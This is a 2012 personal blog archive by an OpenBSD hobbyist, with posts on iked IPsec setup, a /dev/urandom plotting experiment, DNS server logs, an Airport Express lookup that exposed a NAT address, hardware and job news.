I've put up a new commenting system and fixed the io.solarscale.de instance for commenting. Hopefully this is useful.



Setting up iked on OpenBSD (my story)

January 9th, 2012

I have two hosts. One is a vmware workstation vm called dione. The other is an OpenBSD/macppc G4 Cube called mars. Both are seperated by a router called uranus. In ascii it looks a little like this:

+---------+                +---------+               +---------+
| dione   }----------------{  uranus }---------------{  mars   |
+---------+                +---------+               +---------+
2001:a60:f074::30               X                       2001:a60:f074:5::2
I want to encrypt communication with IPsec between these two hosts. Here is what my config (/etc/iked.conf) looks like on dione:
dione# grep -v ^# iked.conf

ikev2 active esp from 2001:a60:f074::30 to 2001:a60:f074:5::2 srcid "2001:a60:f0
74::30"  dstid "2001:a60:f074:5::2" psk "swearword!"
Here is what my config (/etc/iked.conf) looks like on mars:
# grep -v ^# /etc/iked.conf

ikev2 active esp from 2001:a60:f074:5::2 to 2001:a60:f074::30 srcid "2001:a60:f0
74:5::2" dstid "2001:a60:f074::30" psk "swearword!"
I also set up the following commands on dione in reference to the ikectl manual page:
dione# ikectl ca vpn create
dione# ikectl ca vpn certificate 2001:a60:f074::30 create
dione# ikectl ca vpn certificate 2001:a60:f074:5::2 create
dione# ikectl ca vpn install
dione# ikectl ca vpn certificate 2001:a60:f074::30 install
dione# ikectl ca vpn certificate 2001:a60:f074:5::2 export
dione# scp 2001_a60_f074_5__2.tgz mars:.
mars# tar -C /etc/iked -xzpf 2001_a60_f074_5__2.tgz
Then I started /sbin/iked on both machines and typed:
dione# ipsecctl -sall
FLOWS:
flow esp in from 2001:a60:f074:5::2 to 2001:a60:f074::30 peer 2001:a60:f074:5::2
 srcid IPV6/2001:a60:f074::30 dstid IPV6/2001:a60:f074:5::2 type use
flow esp out from 2001:a60:f074::30 to 2001:a60:f074:5::2 peer 2001:a60:f074:5::
2 srcid IPV6/2001:a60:f074::30 dstid IPV6/2001:a60:f074:5::2 type require

SAD:
esp tunnel from 2001:a60:f074:5::2 to 2001:a60:f074::30 spi 0x1ee7655a auth hmac
-sha2-256 enc aes-256
esp tunnel from 2001:a60:f074::30 to 2001:a60:f074:5::2 spi 0xa0f22d34 auth hmac
-sha2-256 enc aes-256
Also tcpdumping shows that the traffic is encrypted:
mars# tcpdump -v -n -i gem0 -p -X ip6 and not port 22 and not port 9999   
tcpdump: listening on gem0, link-type EN10MB
22:25:09.875931 esp 2001:a60:f074:5::2 > 2001:a60:f074::30 spi 0x1ee7655a seq 24
7 len 200 [class 0x10] (len 200, hlim 64)
  0000: 6100 0000 00c8 3240 2001 0a60 f074 0005  a....È2@ ..`ðt..
  0010: 0000 0000 0000 0002 2001 0a60 f074 0000  ........ ..`ðt..
  0020: 0000 0000 0000 0030 1ee7 655a 0000 00f7  .......0.çeZ...÷
  0030: 9de0 df93 049b bddc 5c94 936c 7352 d89f  .àß...½Ü\..lsRØ.
  0040: 982a 9497 c2a7 3117 930b 853b a69d 89ef  .*..§1....;¦..ï
  0050: 94a0 a7b8 9bce fa26 339b 1845 ad7f 8637  . §¸.Îú&3..E­..7
  0060: 27c0 f679 6eb9                           'Àöyn¹

22:25:09.876728 esp 2001:a60:f074::30 > 2001:a60:f074:5::2 spi 0xa0f22d34 seq 28
1 len 120 [class 0x10] (len 120, hlim 62)
  0000: 6100 0000 0078 323e 2001 0a60 f074 0000  a....x2> ..`ðt..
  0010: 0000 0000 0000 0030 2001 0a60 f074 0005  .......0 ..`ðt..
  0020: 0000 0000 0000 0002 a0f2 2d34 0000 0119  ........ ò-4....
  0030: 3ca6 1eb5 81c0 f64a b5a8 b2c3 b933 c896  <¦.µ.ÀöJµ¨²Ã¹3È.
  0040: fa73 17cd a054 5ff9 151e b781 3b50 5972  ús.Í T_ù..·.;PYr
  0050: 1d7d 2709 7dc8 c36c 8dcc e42b 0c86 e186  .}'.}ÈÃl.Ìä+..á.
  0060: 927b a804 50bd                           .{¨.P½
If that procedure doesn't work for you I also copied the .pub key of each respective hosts and stuck them into /etc/iked/pubkeys/ but I doubt that made a diff. Have a lot of fun (I only wasted 4 hours on this). Another thing worth mentioning is that the certificates created are self-signed. Iked as of 20120109 does not support self signed certificates so the PSK method seems to be the only way. Suggestions on how to better this always welcome.



2.97 euros for Jamaica (iTunes)

January 14th, 2012

Today I bought 5 songs off iTunes. 3 songs hail from Jamaica with the artists Chuck Fender, Movado and Fantan Mojah who I have heard on Youtube long enough to warrant putting some money in their pocketses. The other two songs are from Stratford, Ontario artist Nukky Grissom who was featured on SVPRadio last week. Good stuff. I lived in Stratford for 7 years so I know what he talks about in his songs (especially Small Town which was one that I bought). I can relate. I'm overall happy with the purchase.



FreeBSD 9.0 Released and PC-BSD 9.0 Released

January 15th, 2012

The wait is finally over! FreeBSD released its version 9.0 a few days ago and dedicated it to Dennis Ritchie. Here is the 9.0 Release announcement.

Also PC-BSD (which is forked from FreeBSD) released it's 9.0 version. Here is the release pages from its blog.



Removed web mirror on uranus.centroid.eu

January 18th, 2012

You may not have known it but uranus.centroid.eu was serving this blog for well over a year. I have now killed the rsync job and erased the mirror. Uranus will do other tasks in the future, stuff I don't want to go into just yet. Here is an mrtg yearly graph that I was hosting on uranus that doesn't run anymore.

As you can see uranus did quite a bit of traffic every month. (about 15GB per month on average). If you used to go to uranus.centroid.eu to get whatever you can still get it on ipv4.goldflipper.net for the time being.



My dream Smartphone (Computer)

January 27th, 2012

My dream smartphone would be small like an iphone. It would have USB ports for keyboard and mouse and perhaps a VGA port for external monitor. It would be running OpenBSD without locking or restrictions. What's really important to me is that I can program the OS on this phone. The phone functions can be proprietary without source code but they must be installed in a way that it allows the rest of the system to function with it. Perhaps an asterisk server built-in so that it can do programmable voice mail or something. There wouldn't be a harddrive in the phone but rather an SSD. What's really important to me is that I can develop applications on the phone for the phone, and not have to buy a proprietary laptop to use some application which is the only one that can do so. It may have a GPS and/or Galileo/Glonass/whatever geopositioning chip in it. But this should be readable by an open driver on OpenBSD and through an ioctl into userland or something. I want to make use of the Geolocation too. It should have Wifi and bluetooth and if I want to allow tethering I should be able to program it in. I should be able to compile the kernel on this smartphone and run that instead. Really. I really want this to be MY phone not THEIR phone that I am allowed to use. Currently I have no cell phone at all because what I just described doesn't exist. Hmm how much would I pay for what I just described? Perhaps 400 euros at max.



Wildcarddnsd fixed on big-endian machines?

January 28th, 2012

Ever since I resurrected my G4 Cube and put OpenBSD on it I was dying to know if wildcarddnsd works on this platform. I copied uranus's configs to it (it's called mars) and ran a few queries. It was then a surprise a few weeks later that I tried an AXFR and it came back as a hexdump in dig. Not good. With gdb then I finally found out what caused the mangled packet, the nameserver and responsible person fields were of length zero, and were skipped in the SOA answer. I traced this to an integer overflow right at program start at the config file parser. Well I fixed this now in HEAD yesterday and in the upcoming release for BETA7 it will be working on big endian machines.

I also tried compiling wildcarddnsd on OpenBSD/amd64 5.1-beta and got a compiler warning. A nice developer helped me out and a second pointed to another possible problem. So I have the fix for silencing this compiler warning but I haven't committed it yet. I want to play with this a little first before I do so I know that it doesn't cause any problems.



Change is in the air

February 2nd, 2012

I've done some changes and I'm planning to do more changes. What I've done is I increased my BOINC load from 1 core (25%) to 2 cores (50%). It will run like this until May.

Why? What's in May?

Well, that is when OpenBSD 5.1 comes out and I've decided I'm going to make OpenBSD 5.1 my host operating system. No more vmware, it won't run on it. Also it may mean no more BOINC so that's why I'm doubling the load now to leave them with something. Also means no more windows 7 vm, and the other vm's that run FreeBSD and NetBSD I'll have to switch over to QEMU. What I'll do is get a new backup harddrive and start converting vmware containers to a format that I can play it back on QEMU. Much of what prompted me to design this thought is that youtube now works with an OpenBSD browser. This makes OpenBSD ready for the desktop for me. And it's not the first time I ran OpenBSD as a desktop, it's just that I had a breather.



Information and its exchange

February 13th, 2012

What is information? It's data. It's written symbols or spoken words that are encoded/recorded somehow. In the 80's when I was a child we had several means of getting information. We could buy books. We could buy a vinyl record or a cassette tape. Information intended for the masses was spread by radio and television. Usually the radio stations were government run or were independent private radio stations that were approved by government who listened like owls for any "message" that did not fit a strict guideline. If someone disregarded these guidelines (like saying F.U.C.K. on-air) would get penalized or even turned off completely.

So what if you wanted a more relaxed medium to listen to? Well what we did in the early 90's was share cassette tapes with spoken word over music (hip-hop). The drawback was that you had to make a master copy and copy from it because every time you copied the analog signal on the tape would get ever so distorted. Also with more usage the tape would get worn. It was fairly frustrating. When I then attended College for computing engineering technology I was told that digital is a cheap way of exchanging information. The digital circuitry didn't care if the voltage was 0.5 volts off what it really was, which meant you could now share the SAME data over a medium that would have been impossible if it was over analog. Digital communication meant that every time you did a copy of a copy of a copy the data would not degrade in quality.

So then eventually the Internet became popular and spread. First it was slow and the information exchange was probably in 8 bit ascii (e-mail, usenet) which was fine for a 28.8 Kbps analog modem. Then came the DSL revolution. ISP's who established themselves from BBS's were bought out or were forced out of business as the Telco companies once again dominated in the Information exchange. But how that went down is irrelevant, what is more important is that Information exchanged could now be sounds as in music and it could be spread en-masse. Formats such as podcasts came. Podcasts are large MP3 files that are stored on a server and can be downloaded via a server or a bittorrent network for people to listen to a message.

So now we have a problem. Someones information is copyrighted, this means that they wish to make money off the message. In the 80's this was easy they'd get a distributor who printed records and people bought this in the store and took it home. They did not worry about piracy because if people wanted to spread the information the message would be distorted after so many copies. Today in the 2010's the message can be mass-spread with no quality degragation. The powers that used to make a good buck off the 80's method are now out of business or on the verge of. At the same time we've never had a better way of spreading information on a personal level than now. I can send a song to all my friends at fair quality. We've been liberated by the Internet. And as a closing statement any attempt to take quality sound reproduction from us is sheer censorship. The thought has already been planted that we can do this, we're not talking about what if's anymore.

We're not out to do harm, and we know that this is just a step between now and then. What's next is anyones guess but the Internet keeps changing us. We learn, and the Internet is the teacher. We are transitioning. We are as curious what's next as the next one. Some people fear change because it uproots their previous power structure. But let me ask you in all honesty is it not fair to give everyone the same outlet as an elite bunch once had? This is what (r)evolution is about and we are still evolving. One more observance is that we're becoming more seclusive in our own homes due to the Internet. This takes away some of our unity, that's the drawback. We don't need laws like ACTA to draw us further back.



Sticker time!

February 13th, 2012

I opened my OpenBSD 5.0 CD set today. I was going to give it away/trade it away but noone was interested. 90 days on offer went past and so I opened it today. I put the stickers on mars and saturn.

I think it looks stunningly good. Mars has a lot of goo over it from previous OpenBSD 3.0 stickers that were on its casing that were removed for a bit, but the goo didn't disappear. Just goes to show you going with OpenBSD is a one way street :-).



Jupiter and Venus really bright

February 19th, 2012

Today I saw Jupiter and Venus really bright in the South-West-Western sky. I couldn't take a photo but I got a clip of xephem for the memories. Jupiter is in Aries and Venus is in Pisces, and Uranus in Pisces too but it can't be seen with the naked eye.



100+ Euros donations to some *BSD's

February 26th, 2012

The Marakesh Express came through. Just Kidding! I donated 50 euros to the OpenBSD project and 57 Euros (75 dollars) to the FreeBSD Project. I use both Operating Systems at home and at work and am very satisfied with both projects and their individual directions. I'm still looking to purchase OpenBSD 5.1 when it's up for preorders, so this is a big spend!



article test

February 27th, 2012

When searching some articles appeared duplicate, with one not having content. This should fix that.



Free the General

February 29th, 2012

If you follow Reggae Music you may have heard that Buju Banton was jailed. For a long time I have carried these words with me and I don't know if I shared them yet, but the resistor codes in electronics stand for:

Buju Banton, Rasta Of Young Generation, Became Victorious, Glorious & Wise
following this is the Electronic Resistor Codes as taught by Canadian Colleges. I know Buju Banton is a resistor! Hang in there sir! Free Buju Banton!



Looking for work

March 2nd, 2012

I got notice today that I won't get a contract extension come April 30th, of this year. So I'm looking for work again starting May 1st, 2012. I'm willing to do remote sysadmin work for *NIX systems and/or programming on *NIX systems. Why remote? Because I'm unwilling to move away from my family and they never heard of *NIX around here (it seems). Please have a look at my resume. If you know of companies hiring remote employees it would be nice if you let me know.

Due to health issues I'm only able to work 20 to 30 hours weekly max.



OpenBSD pre-orders are up!

March 14th, 2012

I just pre-ordered my 5.1 CD set from OpenBSD Europe. Here is the OpenBSD 5.1 Release page, it's a work in progress. The artwork and lyrics for the song are out but I haven't heard the song yet, I can't download it for some reason. Oh well in due time. This time the theme of OpenBSD seems to be Ghostbusters. Only they are Bugbusters. If memory of cartoons serves me right Ghostbusters had a pet ghost called slimey or slimer...guess the OpenBSD team have a pet bug called ... I dunno.



Equinox in 5 days

March 15th, 2012

Equinox is a terrestrial event. It is on this day that the earth's equator is exactly aligned with the sun in a perpendicular fashion. Read more about equinox in the previous mentioned link.



Bought Saturn (ACER Aspire One)

March 16th, 2012

It's my birthday. I bought an Acer Aspire One 722 for my family and me. It has 4 GB of RAM and an AMD processor (C-60 1 GHz, 1 MB L2 Cache). I named it saturn. It'll be running windows 7 for a while until next year perhaps when I give it a facelift. Guess what OS I have in mind for it? :-).



Checking Randomness on Debian

March 23rd, 2012

I noticed that /dev/*random on Debian and Ubuntu were mode 666. I found a bug report about this too in the debian archives. But I wasn't convinced to prove a point you have to do some work. So I remembered this article on XOR encryption and I thought it could help me with my randomness plotting as well. If there is a pattern I'll see it. Basically randomness should be evenly spread out in a X,Y,Z plot.

So I wrote the program to get the random data from Debian but I first write a string to its /dev/urandom before waiting 10 seconds and reading 512 bytes, here is the program for this:

#include <sys/types.h>

#include <stdio.h>
#include <stdlib.h>

#include <unistd.h>
#include <fcntl.h>

int
main(void)
{

        char buf[512];
        char *string = "OrpheanBeholdersCryDoubt!";
        int len;
        int fd, output;

        fd = open("/dev/urandom", O_RDWR, 0);

        if (fd < 0) {
                perror("open");
                exit(1);
        }

        len = write(fd, string, strlen(string));
        if (len < 0) {
                perror("write");
                exit(1);
        }

        sleep(10);


        output = open("cryptfile", O_APPEND | O_CREAT | O_WRONLY, 0644);
        if (output < 0) {
                perror("open");
                exit(1);
        }

        len = read(fd, buf, sizeof(buf));
        if (len <= 0) {
                perror("read");
                exit(1);
        }

        if (write(output, buf, len) < 0) {
                perror("write 2");
                exit(1);
        }

        close(fd);
        close(output);

        exit(0);
}
On OpenBSD then I did the same program with the write to the device disabled since its permissions are mode 644. The data I gathered I then put through another program that looks like this:
#include <sys/types.h>

#include <stdio.h>
#include <stdlib.h>

#include <unistd.h>
#include <fcntl.h>

int
main(int argc, char *argv[])
{
        char buf[512];
        char *file;
        int fd, len;
        u_int16_t *array;

        if (argc != 2) {
                perror("arguments");
                exit(1);
        }
        
        file = argv[1];
        fd = open(file, O_RDONLY, 0);
        if (fd < 0)  {
                perror("open");
                exit(1);        
        }

        while ((len = read(fd, buf, 6 * 2)) > 0) {
                array = (u_int16_t *)&buf[0];
                
                printf("%d, %d, %d\n%d, %d, %d\n%d, %d, %d\n", 
                        array[0] - array[1], 
                        array[1] - array[2],
                        array[2] - array[3],
                        array[1] - array[2],
                        array[2] - array[3],
                        array[3] - array[4],
                        array[2] - array[3],
                        array[3] - array[4],
                        array[4] - array[5]);
        }

        close(fd);

        exit(0);
}
The instructions on the math involved I got from the article I mentioned above.

I then ran it through gnuplot with the data by calling splot, like so:

gnuplot> splot 'cplot.dat'
And here is the graphs this produced:
OpenBSD (above)
Debian with write to /dev/urandom (above)

All in all this was a very educational event for me, I hope you like the article too!



Remember the Venus Glider?

March 24th, 2012

A long time ago, the centroid.eu blog featured my idea of a venus glider. It's not even in the archives anymore but I wanted to touch on the idea again. Basically the planet venus rotates very slowly around its axis. This makes a glider possible that can loiter around the terminator (line between night and day) of venus. It could have payloads such as radar and UV and IR spectrometers. It would likely be somewhat high in the atmosphere due to the atmospheric pressure and more updraft higher in the atmosphere. It may even have a backup propeller that is foldable into its fuselage, this is when mistakes are made in catching sufficient thermals. Solarpanels that are embedded in the wing area can then recharge the batteries when the glider is high above the clouds and on the day side. One good thing about a glider that is falling on venus is that the atmosphere becomes so dense that its rate of descent will slow as it gets lower towards the surface. This venus glider would not be carrying astronauts but rather be entirely electronically and computer driven.



Who watches the watchers?

March 28th, 2012

I did a whois of my brothers domain:

dione$ whois skpegasus.ca|more
Domain name:           skpegasus.ca
Domain status:         registered
Creation date:         2011/10/23
Expiry date:           2013/10/23
Updated date:          2011/10/25

Registrar:
    Name:              DomainsAtCost Corp.
    Number:            45

Name servers:
    uranus.centroid.eu
    cirabug.goldflipper.net

% WHOIS look-up made at 2012-03-28 10:06:26 (GMT)
%
% Use of CIRA's WHOIS service is governed by the Terms of Use in its Legal
% Notice, available at http://www.cira.ca/legal-notice/?lang=en
%
% (c) 2010 Canadian Internet Registration Authority, (http://www.cira.ca/)
I was shocked to see a lookup stemming from a CIRA contractor of this domain in my DNS logs. Apparently I must have tripped a wire with the innocent WHOIS lookup. Here is the log. Notice the lookup from viagenie came 2 hours after my initial WHOIS, so they do follow up on domains that are logged.
Mar 28 14:42:05 uranus wildcarddnsd[23167]: request on descriptor 21 interface 
"em0" from 206.123.31.9 (ttl=49, region=255) for "www.skpegasus.ca." type=A(1) 
class=1, answering "www.skpegasus.ca."
I'm thinking of expiring the .ca domain as my brother is too internet illiterate to make use of it. It's basically just sitting there taking in mails from spammers.



Interesting findings about older Airport Express Access Points

March 30th, 2012

My parents use an Apple Express AP for a print-server on their NAT'ed network at Deutsche Telekom. I configured this access point to have the domain name as "centroid.eu" and I noticed in my DNS logs that occasionally the access point would "search" for the time server called "time.euro.apple.com.centroid.eu" , here is a log:

Jan  8 15:00:49 uranus wildcarddnsd[14573]: request on descriptor 85 interface 
"gif0" from 2003:180:2:7000:53:1:6:1 (ttl=0, region=255) for 
"time.euro.apple.com.centroid.eu." type=AAAA(28) class=1, answering "NXDOMAIN"
So today I wanted to play. I wanted to find out if I can reveal the IPv4-only network of my parents. So I mapped the AAAA RR of time.euro.apple.com.centroid.eu to ::ffff:1.2.3.4 where 1.2.3.4 is really the address of uranus.centroid.eu my home server. Here is how it looks like:
;; QUESTION SECTION:
;time.euro.apple.com.centroid.eu. IN    AAAA

;; ANSWER SECTION:
time.euro.apple.com.centroid.eu. 86400 IN AAAA  ::ffff:212.114.251.91
My hope was that the AP would try to connect to the NTP port of uranus and thus be logged by my firewall. And guess what?
tcpdump: WARNING: snaplen raised from 116 to 160                                
13:10:49.833022 84.170.XXX.XXX.1052 > 212.114.251.91.123: v1 client strat 0 poll
+0 prec 0 dist 0.000000 disp 0.000000 ref (unspec)@0.000000000 orig 0.000000000 
+[|ntp] (ttl 56, id 118, len 76) 
And it reveals the IP of the NAT gateway of my parents. (I XXX'ed stuff out to protect the innocent). Now I wonder what I can do with this or how this can be maliciously used. Obviously putting the domain name cia.gov into an apple access point is NOT a good idea if you want your privacy, not even as a joke, because I've proven now that they'll find out who you are.



Exclusive view of my workbench

March 31st, 2012

I know it's a little dusty...here is my home workbench.
Below is the lanner that I bought last year January other than a little dust it looks marvelous to me.
all ports used up so far.



SVPRadio - One Year Anniversary

April 4th, 2012

Today marks the one year anniversary of SVPRadio, Stratford, Ontario's underground radio station. It streams from 6PM to 12 Midnight every wednesdays to people who can receive online radio. I have been given some inside photos of the studio and people involved.
It was a little over a year that we came together and decided to stream a radio format. With the guidance of DJ Jaz and help from a whole bunch of DJ's they made an entertaining wednesday every week for 52 shows so far.
I personally listened to every show that was streamed and was delighted every time. Everytime there was something new on at least one or two shows.
Congratulations to SVPradio! And good luck on your second year!



Ordered three books

April 6th, 2012

I ordered 3 books from Amazon...

"The Art of Assembly Language"
Hyde, Randall; Taschenbuch; EUR 36,95

"Reversing: Secrets of Reverse Engineering"
Eilam, Eldad; Taschenbuch; EUR 30,40

"Hacking: The Art of Exploitation"
Erickson, Jon; Taschenbuch; EUR 40,14
I'm hoping to reach an excitement factor in the future with these.



Added a robots.txt file

April 8th, 2012

I want to see how much my traffic drops with this, this is what I got..

%more robots.txt
User-agent: *
Disallow: /blog/
in the future people can still reach my /private and /public folders through google.



26 Years of Personal Computing History

April 18th, 2012

In a previous article I listed all the computers I had, by now 2.5 years later 3 more have been added. Uranus, Jupiter, and Saturn. I'm going to give a rough outline of them.

year  , computer type       , Mhz     ,acc. Mhz , RAM        ,accumulated RAM
------------------------------------------------------------------------------
1986  , Sinclair ZX-81      , 1    Mhz, 1    Mhz, 4        KB,  4         KB
1988  , Commodore C-64      , 2    Mhz, 3    Mhz, 64       KB,  68        KB
1992  , IBM-PC 386-SX25     , 25   Mhz, 28   Mhz, 4096     KB,  4164      KB
1994  , IBM-PC 486-66DX2    , 66   Mhz, 94   Mhz, 8192     KB,  12356     KB
1996  , Intel Pentium 120   , 120  Mhz, 214  Mhz, 32767    KB,  45123     KB
1999  , Intel P-II-350      , 350  Mhz, 564  Mhz, 131072   KB,  176195    KB
1999  , Intel P-II-350      , 350  Mhz, 914  Mhz, 131072   KB,  307267    KB
2000  , AMD Athlon 1000     , 992  Mhz, 1906 Mhz, 262144   KB,  569411    KB
2001  , Apple G3 iBook      , 500  Mhz, 2406 Mhz, 131072   KB,  700483    KB
2001  , Apple G4 Cube       , 450  Mhz, 2856 Mhz, 131072   KB,  831555    KB
2003  , Intel Pentium 200   , 200  Mhz, 3056 Mhz, 65535    KB,  897090    KB
2005  , AMD Athlon64 3500+  , 2200 Mhz, 5256 Mhz, 4194304  KB,  5091394   KB
2010  , Intel Core i7 4core , 9600 Mhz,14000 Mhz, 8192000  KB, 13000000   KB
2011  , Intel Atom N270	    , 1600 Mhz,15600 Mhz, 1024000  KB, 14000000   KB
2012  , AMD C-60 "Ontario"  , 1000 Mhz,16600 Mhz, 4096000  KB, 18000000   KB
------------------------------------------------------------------------------
Hard to believe that 18 GB of RAM have been accumulated in all my computers. In 2005 it was just 5 GB. Yup I'm spoiled and I'm worried about overspending. One positive factor however is that the Atom and C-60 don't use up very much electricity so I can keep them on overnight, and since Saturn (the C-60) is running windows it goes into sleep mode after I close the lid of the netboook. I haven't checked but I would assume the energy draw is little then.



Jupiter needed an operation

April 19th, 2012

Today I looked how hot Jupiter was and with horror I noticed the CPU was at 81 degrees Celsius. A few more Centigrade and it would have turned itself off from overheating. So I decided to clean the heatsink from dust again. See here . To my horror and after reseating the heatsink 4 times it didn't have any cooling effect. So I had to go out and buy a new heatsink/cpu cooler. I bought a Cooltek Coolforce 2. I had to unmount the motherboard from its back-panel today to install the new CPU heatsink/fan. Before

After

To my suprise the CPU is now 25 degrees cooler and the CPU fan is not as fast and loud. Very cool!



New Job, my first week

April 28th, 2012

I have switched jobs and I want to tell about it so far. I think it's an awesome job because it's 100% remote. But like any office setup I have a voice over IP (VOIP) phone where I stay in contact with the staff and it's routed entirely over the Internet. The phone I had from before because I had contracted (technically I'm still a contractor) from this company in the past and back then we got the SIP Phone for me. The pay is sufficient for me to move out of my 1 bedroom apartment and I'm eyeing January or February of 2013 for the move. I'm hoping to get an apartment where I can dedicate 1 room to the office so that I can close the door at the end of the day. My hours are spread more over the day since work is also in north america and I'M in europe. So I have the benefit of being able to conduct maintenance on the computer systems while everyone sleeps and I'm also available during the morning hours to the company. Our systems were designed for remote consoles since that was the idea of the system architect, and it suits me 100%. I'm glad I got this job since I'd likely be unemployed again if I didn't have it. well that's all so far, but I also want to say that I'm 100% impressed.



Got this new book

April 29th, 2012

Yesterday Amazon delivered this new book for me that I need for work..

Understanding the Session Initiation Protocol by Alan B. Johnston.
Partly good is that I can read this on company time.



BOINC processing coming to an end

April 29th, 2012

In this article I wrote about increasing boinc from 1 to 2 cores. It has been doing that since February 2nd. So all good things come to an end, they say and it is without regret that I'll be ceasing my processing probably around May 2nd. So I had done 3 months of processing on 2 cores. OpenBSD Europe has started shipping OpenBSD 5.1 and I fully expect my copy to get here tomorrow so that I can start installing Jupiter with OpenBSD. In this other article I wrote about being in spot 142,597 well I'm happy to report that I'm now in spot 97,043 so in the top 100,000. And also in the top 5% of BOINC participants. I think it's a job well done and I also paid for it with my electricity bill. At least I gave something back for science.



Wildcarddnsd, pondering hacking again

April 29th, 2012

Well I had a really long break from hacking on wildcarddnsd. While reading in this SIP book (see below) I noticed that the SRV RR is not supported by W. So I'm thinking of putting that in. Anyone interested in helping with this? Other little hacks are moving the command line flags to options in the config file. If anyone is interested in doing that go right ahead! If you want a bigger challenge I need a replacement parse.c file that is nicer perhaps a YACC file (no bison!). What's on the menu for the long run? Well I hope to be getting some time to do DNSSEC sometime in the next 2 years and also the recursive resolver function I'd like to re-implement as this one is currently broken. There is lots to do you just gotta look for it.



OpenBSD 5.1 released, jupiter.centroid.eu built

May 1st, 2012

OpenBSD 5.1 has been released today, at least I found the OS on the ftp.eu.openbsd.org ftp server. So I wiped my vmware setup and installed it on the 160 GB SSD. Here is a paste from the top while playing a youtube video:

load averages:  0.98,  0.91,  1.00                 jupiter.centroid.eu 14:14:43
56 processes:  53 idle, 1 zombie, 2 on processor
CPU0 states: 11.6% user,  0.0% nice,  4.8% system,  0.0% interrupt, 83.6% idle
CPU1 states:  0.0% user,  0.0% nice,  0.0% system,  0.0% interrupt,  100% idle
CPU2 states:  0.0% user,  0.0% nice,  0.0% system,  0.0% interrupt,  100% idle
CPU3 states:  0.0% user,  0.0% nice,  0.0% system,  0.0% interrupt,  100% idle
CPU4 states:  0.0% user,  0.0% nice,  0.0% system,  0.0% interrupt,  100% idle
CPU5 states:  4.0% user,  0.0% nice,  0.8% system,  0.0% interrupt, 95.2% idle
CPU6 states: 13.2% user,  0.0% nice,  8.8% system,  0.0% interrupt, 78.0% idle
CPU7 states: 11.6% user,  0.0% nice,  9.8% system,  0.0% interrupt, 78.6% idle
Memory: Real: 269M/958M act/tot Free: 6994M Cache: 575M Swap: 0K/7353M
mostly idle. This thing is a beast. Yes I did turn on HT again to see if the lockups were confined only to Linux. I had another 80 GB SSD which I have now put to rest until I need a replacement SSD. Also I tried gnome but it didn't work so I'm back to using fluxbox which is fine with me.



io.solarscale.de needed a rescue/fsck

May 11th, 2012

Today io.solarscale.de acted real weird. The filesystem turned read-only on me. So I rebooted the vps. When it came back it suggested fsck'ing the filesystem. So I rebooted it once more hoping that it would fsck on boot. It didn't do that. So I learned from my VPS provider how to put the system in a rescue mode and finally I was able to fsck the hd image. The system is debian and the particular filesytem is ext4 with journaling. For some reason it would mount rw before the second reboot but still manage to say it needed to fsck, how cocky! Anyhow. Everything seems sweet now. And I may have learned how to install FreeBSD on this vps too. Shall the time ever come I may do that.



What's up? Nothing.

May 21st, 2012

May,2012 is probably the least contentious (if that's a word) month in this blog's history. I'm busy working and haven't found anything worth putting up.



What to do about ports?

May 23rd, 2012

I had moved /usr/ports to /usr/local/ports because it didn't fit anymore. And today I ran out of space on /usr/local.

Script started on Wed May 23 14:50:10 2012
# df
Filesystem  512-blocks	    Used     Avail Capacity  Mounted on
/dev/wd0a      2057756	  125444   1829428     6%    /
/dev/wd0k    209124908	63155652 135513012    32%    /home
/dev/wd0d      8250780	      32   7838212     0%    /tmp
/dev/wd0f      4122108	  961584   2954420    25%    /usr
/dev/wd0g      2057756	  385272   1569600    20%    /usr/X11R6
/dev/wd0h     20636924	19400224    204856    99%    /usr/local
/dev/wd0j      4122108	  321792   3594212     8%    /usr/obj
/dev/wd0i      4122108	 1694272   2221732    43%    /usr/src
/dev/wd0e     38273692	   64000  36296008     0%    /var
# cd /home
# ls
pjp
# mkdir home
# mv pjp home/
# kbd=de.nodead
kbd: keyboard mapping set to de.nodead
# dump -0uaf - /usr/local | (cd /home ; restore -xf -)
  DUMP: Date of this level 0 dump: Wed May 23 14:52:36 2012
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping /dev/rwd0h (/usr/local) to standard output
  DUMP: mapping (Pass I) [regular files]
  DUMP: mapping (Pass II) [directories]
  DUMP: estimated 9725619 tape blocks.
  DUMP: Volume 1 started at: Wed May 23 14:52:38 2012
  DUMP: dumping (Pass III) [directories]
  DUMP: dumping (Pass IV) [regular files]
  DUMP: 22.37% done, finished in 0:17
  DUMP: 51.81% done, finished in 0:09
  DUMP: 92.74% done, finished in 0:01
  DUMP: 10002019 tape blocks
  DUMP: Date of this level 0 dump: Wed May 23 14:52:36 2012
  DUMP: Volume 1 completed at: Wed May 23 15:08:46 2012
  DUMP: Volume 1 took 0:16:08
  DUMP: Volume 1 transfer rate: 10332 KB/s
  DUMP: Date this dump completed:  Wed May 23 15:08:46 2012
  DUMP: Average transfer rate: 10332 KB/s
  DUMP: level 0 dump on Wed May 23 14:52:36 2012
  DUMP: DUMP IS DONE
set owner/mode for '.'? [yn] y
# pwd
/home
# ls
bin	include lib	libexec ports	share
home	info	libdata man	sbin
# ls home
pjp
# df -h .
Filesystem     Size    Used   Avail Capacity  Mounted on
/dev/wd0k     99.7G   39.4G   55.4G    42%    /home
# df
Filesystem  512-blocks	    Used     Avail Capacity  Mounted on
/dev/wd0a      2057756	  125452   1829420     6%    /
/dev/wd0k    209124908	82555840 116112824    42%    /home
/dev/wd0d      8250780	      32   7838212     0%    /tmp
/dev/wd0f      4122108	  961584   2954420    25%    /usr
/dev/wd0g      2057756	  385272   1569600    20%    /usr/X11R6
/dev/wd0h     20636924	19400224    204856    99%    /usr/local
/dev/wd0j      4122108	  321792   3594212     8%    /usr/obj
/dev/wd0i      4122108	 1694272   2221732    43%    /usr/src
/dev/wd0e     38273692	   64000  36296008     0%    /var
# umount /usr/src /usr/obj
# df
Filesystem  512-blocks	    Used     Avail Capacity  Mounted on
/dev/wd0a      2057756	  125452   1829420     6%    /
/dev/wd0k    209124908	82555840 116112824    42%    /home
/dev/wd0d      8250780	      32   7838212     0%    /tmp
/dev/wd0f      4122108	  961584   2954420    25%    /usr
/dev/wd0g      2057756	  385272   1569600    20%    /usr/X11R6
/dev/wd0h     20636924	19400224    204856    99%    /usr/local
/dev/wd0e     38273692	   64000  36296008     0%    /var
# umount /usr/local /usr/X11R6 /usr
umount: /usr: Device busy
# df
Filesystem  512-blocks	    Used     Avail Capacity  Mounted on
/dev/wd0a      2057756	  125452   1829420     6%    /
/dev/wd0k    209124908	82555840 116112824    42%    /home
/dev/wd0d      8250780	      32   7838212     0%    /tmp
/dev/wd0f      4122108	  961584   2954420    25%    /usr
/dev/wd0e     38273692	   64000  36296008     0%    /var
# exit

